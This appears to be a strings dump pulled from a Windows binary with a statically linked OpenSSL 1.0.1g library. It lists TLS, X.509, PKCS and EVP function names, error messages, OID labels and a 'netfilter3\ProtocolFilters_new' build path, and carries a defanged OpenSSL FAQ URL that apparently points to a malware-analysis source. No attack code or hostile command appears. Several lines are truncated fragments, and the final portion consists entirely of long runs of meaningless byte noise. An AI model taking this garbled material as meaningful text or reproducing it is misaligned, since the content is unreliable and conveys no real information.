cert length mismatch

certificate verify failed

bad ecc cert

bad dh pub key length

TLS1_SETUP_KEY_BLOCK

TLS1_EXPORT_KEYING_MATERIAL

tls1_cert_verify_mac

SSL_VERIFY_CERT_CHAIN

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey

SSL_use_PrivateKey_file

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey

SSL_use_certificate_file

SSL_use_certificate_ASN1

SSL_use_certificate

SSL_SET_PKEY

SSL_SET_CERT

SSL_SESS_CERT_NEW

SSL_GET_SIGN_PKEY

SSL_GET_SERVER_SEND_PKEY

SSL_GET_SERVER_SEND_CERT

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate

SSL_CTX_set_client_cert_engine

SSL_CTX_check_private_key

SSL_CHECK_SRVR_ECC_CERT_AND_ALG

SSL_check_private_key

SSL_CERT_NEW

SSL_CERT_INSTANTIATE

SSL_CERT_INST

SSL_CERT_DUP

SSL_add_file_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL3_SETUP_KEY_BLOCK

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_OUTPUT_CERT_CHAIN

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_STATUS

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GENERATE_KEY_BLOCK

SSL3_CHECK_CERT_AND_ALGORITHM

SSL3_ADD_CERT_TO_BUF

SSL2_SET_CERTIFICATE

SSL2_GENERATE_KEY_MATERIAL

REQUEST_CERTIFICATE

GET_CLIENT_MASTER_KEY

DTLS1_SEND_SERVER_KEY_EXCHANGE

DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_OUTPUT_CERT_CHAIN

DTLS1_ADD_CERT_TO_BUF

CLIENT_MASTER_KEY

CLIENT_CERTIFICATE

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

EXPORT56

EXPORT40

EXPORT

.\ssl\ssl_cert.c

os.length session_id)

TLSv1 part of OpenSSL 1.0.1g 7 Apr 2014

SSLv3 part of OpenSSL 1.0.1g 7 Apr 2014

SSLv2 part of OpenSSL 1.0.1g 7 Apr 2014

s->session->master_key_length >= 0 && s->session->master_key_length session->master_key)

GOST signature length is %d

DTLSv1 part of OpenSSL 1.0.1g 7 Apr 2014

key expansion

client write key

server write key

%s:%d: rec->data != rec->input

c->iv_len session->key_arg)

s->s2->key_material_length s2->key_material

Big Number part of OpenSSL 1.0.1g 7 Apr 2014

Stack part of OpenSSL 1.0.1g 7 Apr 2014

cert_info

X.509 part of OpenSSL 1.0.1g 7 Apr 2014

OPENSSL_ALLOW_PROXY_CERTS

ssl_sess_cert

ssl_cert

evp_pkey

x509_pkey

%s(%d): OpenSSL internal error, assertion failed: %s

passed a null parameter

DSO support routines

x509 certificate routines

error:lX:%s:%s:%s

CERTIFICATE

enc_key

key_enc_algor

cert

d.encrypted

d.digest

d.signed_and_enveloped

d.enveloped

d.sign

d.data

d.other

value.bag

value.safes

value.shkeybag

value.keybag

value.sdsicert

value.x509cert

value.other

Any Extended Key Usage

anyExtendedKeyUsage

supportedAlgorithms

crossCertificatePair

certificateRevocationList

cACertificate

userCertificate

userPassword

supportedApplicationContext

Microsoft Local Key set

LocalKeySet

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

password based MAC

id-PasswordBasedMAC

X509v3 Certificate Issuer

certificateIssuer

certicom-arc

Proxy Certificate Information

proxyCertInfo

Microsoft Smartcardlogin

msSmartcardLogin

joint-iso-itu-t

JOINT-ISO-ITU-T

set-rootKeyThumb

setAttr-Cert

setCext-cCertRequired

setCext-certType

setct-CertResTBE

setct-CertReqTBEX

setct-CertReqTBE

setct-AcqCardCodeMsgTBE

setct-CertInqReqTBS

setct-CertResData

setct-CertReqTBS

setct-CertReqData

setct-PCertResTBS

setct-PCertReqData

setct-AcqCardCodeMsg

certificate extensions

set-certExt

set-msgExt

id-ecPublicKey

id-cmc-confirmCertAcceptance

id-cmc-getCert

id-regInfo-certReq

id-regCtrl-protocolEncrKey

id-regCtrl-oldCertID

id-it-revPassphrase

id-it-keyPairParamRep

id-it-keyPairParamReq

id-it-unsupportedOIDs

id-it-caKeyUpdateInfo

id-it-encKeyPairTypes

id-it-signKeyPairTypes

id-it-caProtEncCert

id-mod-attribute-cert

id-mod-qualified-cert-93

id-mod-qualified-cert-88

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certValues

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-otherSigCert

id-smime-aa-smimeEncryptCerts

id-smime-aa-signingCertificate

id-smime-aa-encrypKeyPref

id-smime-aa-msgSigDigest

id-smime-ct-publishCert

id-smime-mod-msg-v3

sdsiCertificate

x509Certificate

localKeyID

certBag

pkcs8ShroudedKeyBag

keyBag

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

TLS Web Client Authentication

TLS Web Server Authentication

X509v3 Extended Key Usage

extendedKeyUsage

X509v3 Authority Key Identifier

authorityKeyIdentifier

X509v3 Certificate Policies

certificatePolicies

X509v3 Private Key Usage Period

privateKeyUsagePeriod

X509v3 Key Usage

keyUsage

X509v3 Subject Key Identifier

subjectKeyIdentifier

Netscape Certificate Sequence

nsCertSequence

Netscape CA Policy Url

nsCaPolicyUrl

Netscape Renewal Url

nsRenewalUrl

Netscape CA Revocation Url

nsCaRevocationUrl

Netscape Revocation Url

nsRevocationUrl

Netscape Base Url

nsBaseUrl

Netscape Cert Type

nsCertType

Netscape Certificate Extension

nsCertExt

extendedCertificateAttributes

challengePassword

dhKeyAgreement

PKCS8_PRIV_KEY_INFO

pkey

pkeyalg

.\crypto\evp\evp_pkey.c

.\crypto\pem\pem_pkey.c

ENCRYPTED PRIVATE KEY

PRIVATE KEY

ANY PRIVATE KEY

lhash part of OpenSSL 1.0.1g 7 Apr 2014

Diffie-Hellman part of OpenSSL 1.0.1g 7 Apr 2014

EVP part of OpenSSL 1.0.1g 7 Apr 2014

crlUrl

certStatus

certId

OCSP_CERTSTATUS

value.unknown

value.revoked

value.good

value.byKey

value.byName

reqCert

OCSP_CERTID

issuerKeyHash

certs

.\crypto\engine\eng_pkey.c

PEM part of OpenSSL 1.0.1g 7 Apr 2014

phrase is too short, needs to be at least %d chars

Enter PEM pass phrase:

TRUSTED CERTIFICATE

CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

X509 CERTIFICATE

RSA part of OpenSSL 1.0.1g 7 Apr 2014

RSA PRIVATE KEY

DSA PRIVATE KEY

EC PRIVATE KEY

EC part of OpenSSL 1.0.1g 7 Apr 2014

.\crypto\ec\ec_key.c

.\crypto\dh\dh_key.c

priv_key

pub_key

ASN.1 part of OpenSSL 1.0.1g 7 Apr 2014

len>=0 && lenkey)

j key)

SHA-512 part of OpenSSL 1.0.1g 7 Apr 2014

DlSHA-256 part of OpenSSL 1.0.1g 7 Apr 2014

MD5 part of OpenSSL 1.0.1g 7 Apr 2014

SHA1 part of OpenSSL 1.0.1g 7 Apr 2014

CONF part of OpenSSL 1.0.1g 7 Apr 2014

%d.%d.%d.%d

x%s

%s - d:d:d%.*s %d%s

'() ,-./:=?

X509_PUBKEY

public_key

.\crypto\asn1\x_pubkey.c

DSA part of OpenSSL 1.0.1g 7 Apr 2014

value.single

value.set

%d.%d.%d.%d/%d.%d.%d.%d

%*s%s:

d.registeredID

d.iPAddress

d.uniformResourceIdentifier

d.ediPartyName

d.directoryName

d.dNSName

d.rfc822Name

d.otherName

name.relativename

name.fullname

certificateHold

Certificate Hold

cessationOfOperation

Cessation Of Operation

keyCompromise

Key Compromise

%*sOnly Attribute Certificates

%*sOnly CA Certificates

%*sOnly User Certificates

AUTHORITY_KEYID

keyid

X509_CERT_PAIR

X509_CERT_AUX

pubkey

EC_PRIVATEKEY

publicKey

privateKey

value.implicitlyCA

value.parameters

value.named_curve

p.char_two

p.prime

p.ppBasis

p.tpBasis

p.onBasis

p.other

ddddddZ

unsupported type

unsupported recpientinfo type

unsupported recipient type

unsupported key encryption algorithm

unsupported kek algorithm

unsupported content type

signer certificate not found

private key does not match certificate

no public key

no private key

no password

no msgsigdigest

no key or cert

no key

not supported for this key type

not key transport

msgsigdigest wrong length

msgsigdigest verification failure

msgsigdigest error

invalid key length

invalid key encryption parameter

invalid encrypted key length

error setting key

error getting public key

certificate verify error

certificate has no keyid

certificate already present

CMS_SIGNERINFO_VERIFY_CERT

CMS_RecipientInfo_set0_pkey

CMS_RecipientInfo_set0_password

CMS_RecipientInfo_set0_key

CMS_RecipientInfo_ktri_cert_cmp

cms_msgSigDigest_add1

CMS_GET0_CERTIFICATE_CHOICES

CMS_EncryptedData_set1_key

CMS_decrypt_set1_pkey

CMS_decrypt_set1_password

CMS_decrypt_set1_key

CMS_add1_recipient_cert

CMS_add0_recipient_password

CMS_add0_recipient_key

CMS_add0_cert

unsupported requestorname type

no certificates in chain

error parsing url

PARSE_HTTP_LINE1

OCSP_parse_url

OCSP_cert_id_new

unimplemented public key method

invalid cmd number

invalid cmd name

failed loading public key

failed loading private key

cmd not executable

ENGINE_UNLOAD_KEY

ENGINE_load_ssl_client_cert

ENGINE_load_public_key

ENGINE_load_private_key

ENGINE_get_pkey_meth

ENGINE_get_pkey_asn1_meth

ENGINE_ctrl_cmd_string

ENGINE_ctrl_cmd

ENGINE_cmd_is_executable

unsupported version

unsupported md algorithm

invalid signer certificate purpose

ess signing certificate error

ess add signing cert error

TS_VERIFY_CERT

TS_TST_INFO_set_msg_imprint

TS_RESP_CTX_set_signer_cert

TS_RESP_CTX_set_certs

TS_REQ_set_msg_imprint

TS_MSG_IMPRINT_set_algo

TS_CHECK_SIGNING_CERTS

ESS_SIGNING_CERT_NEW_INIT

ESS_CERT_ID_NEW_INIT

ESS_ADD_SIGNING_CERT

functionality not supported

WIN32_JOINER

unsupported pkcs12 mode

key gen error

PKCS8_add_keyusage

PKCS12_PBE_keyivgen

PKCS12_newpass

PKCS12_MAKE_SHKEYBAG

PKCS12_MAKE_KEYBAG

PKCS12_key_gen_uni

PKCS12_key_gen_asc

PKCS12_add_localkeyid

unsupported option

unable to get issuer keyid

policy syntax not currently supported

operation not defined

no proxy cert policy language defined

no issuer certificate

extension setting not supported

V2I_EXTENDED_KEY_USAGE

V2I_AUTHORITY_KEYID

S2I_SKEY_ID

S2I_ASN1_SKEY_ID

R2I_CERTPOL

unsupported cipher type

unknown operation

unable to find certificate

signing not supported for this key type

operation not supported on this type

no recipient matches key

no recipient matches certificate

encryption not supported for this key type

decrypted key is wrong length

PKCS7_add_certificate

unsupported method

no port specified

no port defined

no accept port specified

broken pipe

BIO_get_port

ECDH_compute_key

data too large for key size

unsupported field

passed null parameter

not a supported NIST prime

missing private key

keys not set

invalid private key

gf2m not supported

PKEY_EC_SIGN

PKEY_EC_PARAMGEN

PKEY_EC_KEYGEN

PKEY_EC_DERIVE

PKEY_EC_CTRL_STR

PKEY_EC_CTRL

o2i_ECPublicKey

i2o_ECPublicKey

i2d_ECPrivateKey

EC_KEY_set_public_key_affine_coordinates

EC_KEY_print_fp

EC_KEY_print

EC_KEY_new

EC_KEY_generate_key

EC_KEY_copy

EC_KEY_check_key

ECKEY_TYPE2PARAM

ECKEY_PUB_ENCODE

ECKEY_PUB_DECODE

ECKEY_PRIV_ENCODE

ECKEY_PRIV_DECODE

ECKEY_PARAM_DECODE

ECKEY_PARAM2TYPE

DO_EC_KEY_PRINT

d2i_ECPrivateKey

zlib not supported

fips mode not supported

wrong public key type

unsupported public key type

unsupported encryption algorithm

unsupported any defined by type

unknown public key type

unable to decode rsa private key

unable to decode rsa key

streaming not supported

private key header missing

digest and key type not supported

bad password read

X509_PKEY_new

i2d_RSA_PUBKEY

i2d_PublicKey

i2d_PrivateKey

i2d_EC_PUBKEY

i2d_DSA_PUBKEY

d2i_X509_PKEY

d2i_PublicKey

d2i_PrivateKey

d2i_AutoPrivateKey

unsupported algorithm

unknown key type

unable to get certs public key

public key encode error

public key decode error

no cert set for us to verify

method not supported

loading cert dir

key values mismatch

key type mismatch

cert already in hash table

cant check dh key

X509_verify_cert

X509_STORE_add_cert

X509_REQ_check_private_key

X509_PUBKEY_set

X509_PUBKEY_get

X509_load_cert_file

X509_load_cert_crl_file

X509_get_pubkey_parameters

X509_check_private_key

GET_CERT_BY_SUBJECT

ADD_CERT_DIR

PKEY_DSA_KEYGEN

PKEY_DSA_CTRL

DSA_generate_key

unsupported key components

unsupported encryption

read key

public key no rsa

problems getting password

keyblob too short

keyblob header parse error

expecting public key blob

expecting private key blob

error converting private key

PEM_WRITE_PRIVATEKEY

PEM_READ_PRIVATEKEY

PEM_READ_BIO_PRIVATEKEY

PEM_PK8PKEY

PEM_F_PEM_WRITE_PKCS8PRIVATEKEY

DO_PK8PKEY_FP

DO_PK8PKEY

d2i_PKCS8PrivateKey_fp

d2i_PKCS8PrivateKey_bio

unsupported salt type

unsupported private key algorithm

unsupported prf

unsupported key size

unsupported key derivation function

unsupported keylength

unsuported number of rounds

private key encode error

private key decode error

operaton not initialized

operation not supported for this keytype

no operation set

no key set

keygen failure

invalid operation

expecting a ec key

expecting a ecdsa key

expecting a dsa key

expecting a dh key

expecting an rsa key

different key types

ctrl operation not implemented

command not supported

camellia key setup failed

bn pubkey error

bad key length

aes key setup failed

PKEY_SET_TYPE

PKCS5_V2_PBKDF2_KEYIVGEN

PKCS5_v2_PBE_keyivgen

PKCS5_PBE_keyivgen

FIPS_CIPHER_CTX_SET_KEY_LENGTH

EVP_PKEY_verify_recover_init

EVP_PKEY_verify_recover

EVP_PKEY_verify_init

EVP_PKEY_verify

EVP_PKEY_sign_init

EVP_PKEY_sign

EVP_PKEY_paramgen_init

EVP_PKEY_paramgen

EVP_PKEY_new

EVP_PKEY_keygen_init

EVP_PKEY_keygen

EVP_PKEY_get1_RSA

EVP_PKEY_get1_EC_KEY

EVP_PKEY_GET1_ECDSA

EVP_PKEY_get1_DSA

EVP_PKEY_get1_DH

EVP_PKEY_encrypt_old

EVP_PKEY_encrypt_init

EVP_PKEY_encrypt

EVP_PKEY_derive_set_peer

EVP_PKEY_derive_init

EVP_PKEY_derive

EVP_PKEY_decrypt_old

EVP_PKEY_decrypt_init

EVP_PKEY_decrypt

EVP_PKEY_CTX_dup

EVP_PKEY_CTX_ctrl_str

EVP_PKEY_CTX_ctrl

EVP_PKEY_copy_parameters

EVP_PKEY2PKCS8_broken

EVP_PKCS82PKEY_BROKEN

EVP_PKCS82PKEY

EVP_CIPHER_CTX_set_key_length

ECKEY_PKEY2PKCS8

ECDSA_PKEY2PKCS8

DSA_PKEY2PKCS8

DSAPKEY2PKCS8

D2I_PKEY

CAMELLIA_INIT_KEY

AES_INIT_KEY

AESNI_INIT_KEY

key size too small

invalid public key

PKEY_DH_KEYGEN

PKEY_DH_DERIVE

GENERATE_KEY

DH_generate_key

DH_compute_key

COMPUTE_KEY

unsupported signature type

unsupported mask parameter

unsupported mask algorithm

rsa operations not supported

operation not allowed in fips mode

invalid keybits

illegal or unsupported padding mode

digest too big for rsa key

data too small for key size

RSA_generate_key_ex

RSA_generate_key

RSA_check_key

RSA_BUILTIN_KEYGEN

PKEY_RSA_VERIFYRECOVER

PKEY_RSA_VERIFY

PKEY_RSA_SIGN

PKEY_RSA_CTRL_STR

PKEY_RSA_CTRL

keylength

keyfunc

.pp@0

aEÃ

(#EÃš

ÃšE

6AES part of OpenSSL 1.0.1g 7 Apr 2014

RC2 part of OpenSSL 1.0.1g 7 Apr 2014

IDEA part of OpenSSL 1.0.1g 7 Apr 2014

libdes part of OpenSSL 1.0.1g 7 Apr 2014

DES part of OpenSSL 1.0.1g 7 Apr 2014

PROXY_CERT_INFO_EXTENSION

Load certs from files in a directory

%s%clx.%s%d

RAND part of OpenSSL 1.0.1g 7 Apr 2014

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

.\crypto\evp\evp_key.c

nkey

?456789:;

!"#$%&'()* ,-./0123

NETSCAPE_CERT_SEQUENCE

hexkey

rsa_keygen_pubexp

rsa_keygen_bits

ECDH part of OpenSSL 1.0.1g 7 Apr 2014

ECDSA part of OpenSSL 1.0.1g 7 Apr 2014

%s: (%d bit)

Public-Key

Private-Key

recommended-private-length: %d bits

public-key:

private-key:

PKCS#3 DH Public-Key

PKCS#3 DH Private-Key

Public-Key: (%d bit)

Private-Key: (%d bit)

TXT_DB part of OpenSSL 1.0.1g 7 Apr 2014

%*sPolicy Text: %s

%*scrlUrl:

EXTENDED_KEY_USAGE

%*sZone: %s, User:

.\crypto\x509v3\v3_akey.c

d.usernotice

d.cpsuri

CERTIFICATEPOLICIES

%*sExplicit Text: %s

%*sNumber%s:

%*sOrganization: %s

%*sCPS: %s

IP Address:%d.%d.%d.%d

URI:%s

DNS:%s

email:%s

EdiPartyName:

X400Name:

othername:

PKEY_USAGE_PERIOD

keyCertSign

Certificate Sign

keyAgreement

Key Agreement

keyEncipherment

Key Encipherment

.\crypto\x509v3\v3_skey.c

CONF_def part of OpenSSL 1.0.1g 7 Apr 2014

[[%s]]

[%s] %s=%s

%lu:%s:%s:%d:%s

%'%1$=%C%K%O%s%

.%.-.3.7.9.?.W.[.o.y.

C%C'C3C7C9COCWCiC

Ekeylen

EVP_CIPHER_key_length(cipher)

CAMELLIA part of OpenSSL 1.0.1g 7 Apr 2014

RC4 part of OpenSSL 1.0.1g 7 Apr 2014

H:\projects\netfilter3\ProtocolFilters_new\openssl/ssl/certs

H:\projects\netfilter3\ProtocolFilters_new\openssl/ssl/cert.pem

SSL_CERT_DIR

SSL_CERT_FILE

NETAPI32.DLL

Basis Type: %s

Field Type: %s

ASN1 OID: %s

%s %s%lu (%s0x%lx)

.\crypto\pkcs12\p12_key.c

.\crypto\asn1\x_pkey.c

Verifying - %s

d.receiptList

d.allOrFirstTier

d.compressedData

d.authenticatedData

d.encryptedData

d.digestedData

d.envelopedData

d.signedData

d.ori

d.pwri

d.kekri

d.kari

d.ktri

CMS_PasswordRecipientInfo

keyDerivationAlgorithm

keyIdentifier

CMS_KeyAgreeRecipientInfo

recipientEncryptedKeys

CMS_OriginatorIdentifierOrKey

d.originatorKey

CMS_OriginatorPublicKey

CMS_RecipientEncryptedKey

CMS_KeyAgreeRecipientIdentifier

d.rKeyId

CMS_RecipientKeyIdentifier

CMS_OtherKeyAttribute

keyAttr

keyAttrId

CMS_KeyTransRecipientInfo

encryptedKey

keyEncryptionAlgorithm

certificates

d.crl

d.subjectKeyIdentifier

d.issuerAndSerialNumber

CMS_CertificateChoices

d.v2AttrCert

d.v1AttrCert

d.extendedCertificate

d.certificate

CMS_OtherCertificateFormat

otherCert

otherCertFormat

%s.dll

JMPUUUUUZcrt$1>IVY^ds %''57?BENPV_lly( 8ANS^ktz}&37BCRagv&*/:

JTVdddddeio %)-9;?KPZcrt|(5=BOQRUYgkp!& 8DOP]bbmv"&,2>ELNNPYcls!#/6@ES\^hu%%,9?IPXan}.0:CDSW\affttx&',14

NYYeeeeefjjpy'*67BEFFUdqq{*7FRRabesuw(/5>CJJWWZafp| ,5>@N[[bent .EHQYdhtx|!)-0=@CEEFFU\^gv"',/8?GQ[fru| 99==HQ^`bkw|#18?EFGTXZix #0>MVcqz{,4CIOXefr}")1@KRU`gggiqrw'6ES^efqv$37@JTWbdder ",.47BKVWchnvwx(47EGHS\co # :IMO^gjvv!,,7CQQ`gmt7DDQ\^mxz 9CMZcgn{*.7=GKLMRXegu#'.59>KYdklmrx{:GTXfjx(38:DIT^_ckv%*22@MTUbbqwy|'/0>DS`cq|%%,9

DLNQQQQQS]^gq!'478=@KOZgvz"/;FMR]aefsu#18DEMS_lt}))/99GJJKKY`hpw%.8;DDEGMVdhl{&.008:DGHMNTY_epy .7AN]`jqz 9ABLZbq"/24BIWWan||*06;IW_alqz!.3AER^ejr!/79@CQ`noq .6EQQWes}(*3CP\abcdn}$2?MUdmnpxy(/05BILMW\]ijov}.9

HPQXXXXXYhoq}#25BLP\dnv%(01LMPXdsxz$'.37>MXZ]]_ht}-18AJKT]et$%%.6?BCFSW\dq IFS]jpyz()./6DMTZcmn|$&5@OQZcguz*456BGIKZ_degjqt !/0488FKNWddqw /;BLZfsw$0=LUchv'5COPP]lrwJM[hl{

NYZ[[[[[dsy$.3=DKUdest") 8::IQSXfp "-9:DO^`biqu}-7=ADQY\it$$3BBKR`inz"0:ELUdpw{)-/45@EFUbcfhmu{'*69CCDLOYeehv{}}.669>HHV\deet}&-5BOZ^__isu$0;;DSYdo} "(*1:DDKOSVY\aapu $/2@OOPW_gju| 8DFHORaoy"/037DLM

KVXYYYYY[[]hsw|''0448=GU]_dgjlqtCINN]

DHMYYYYYZcrt}(3=CGRaer| 58FKQ\cgp #,5BLT

O[aeeeeeekz)22:FGT^bjp!%&&)5:EM[^bjrsux9:@EFRW_eiv"*46:GT]gpqv&.:CRYaaaeirv!,6AKOUdeppr! /8AMPX[]ku&)55?EPZZ^hqyy|*0?AOVdp CHOPYet{()7@OZ]bms$,5;IKVeq ' 6:=LYffjw&/7>AMNNXbfnpu!!*-9;DEOSVahw!(),:?FGSSW]`ix).=ESVW]bqu$)89ELLQTbot$1?BIT^ap!$.;>JMTW\imvy&*,/>KMYhr}$.=KZfkt{$$&).8CFLZbhlps !&,8=JLNUZ\ddefhiovx'4:EHUammx (447=AHU_nv# .=CLU[bo{' 3:;CELWbp|#$27DEJU_juw$&(,5@HPQ_mww(7CDSUZflx&.22;BP[cr!#/:;AKPRYfmwxy{,-2:@ABGPQW^cqqyyz})5@DITUZ[

KTWcccccrx%(59:=AHST_egmtux"-05=EJR^^alpu$.6IW[ejy&/6:AJPYgit}(-5>@KU\hv!,6=AGP_mow&.;CPRXbp} 4@DFJW^lu&/7?@ITcr}%,34@FT`mr"%,338EKZftv#-669@CHPYgu!%.:?DKU]^iqwz&.9EKTUXgtx%/7;AGSbfsz$*,246BHPP[jru!%'5@KU\hv!,6=AGP_mow&.;CPRXbp} 4@DFJW^lu&/7?@ITcr}%,34@FT`mr"%,338EKZftv#-669@CHPYabp!(,48CHUU^_nz&18CM\jw&/5BGGKYfp{!-5DIXcekv '*5FGVacijp{!,,1>CFMMUWW^mpu#*,45;BGLNPY__ahq{(34CNVX^etv!"*237>>BFFSX]`co|4=?AOQ_hpq!'6:AP_bnvv8DDGT^hmnv !'-1DS^gnry$*3ACNW`emvx%/6BPYdnuy!*9GIIVbcqqz}-9DPV]^mw%/07DNS__hnt#2;?MY^emtz|}"'34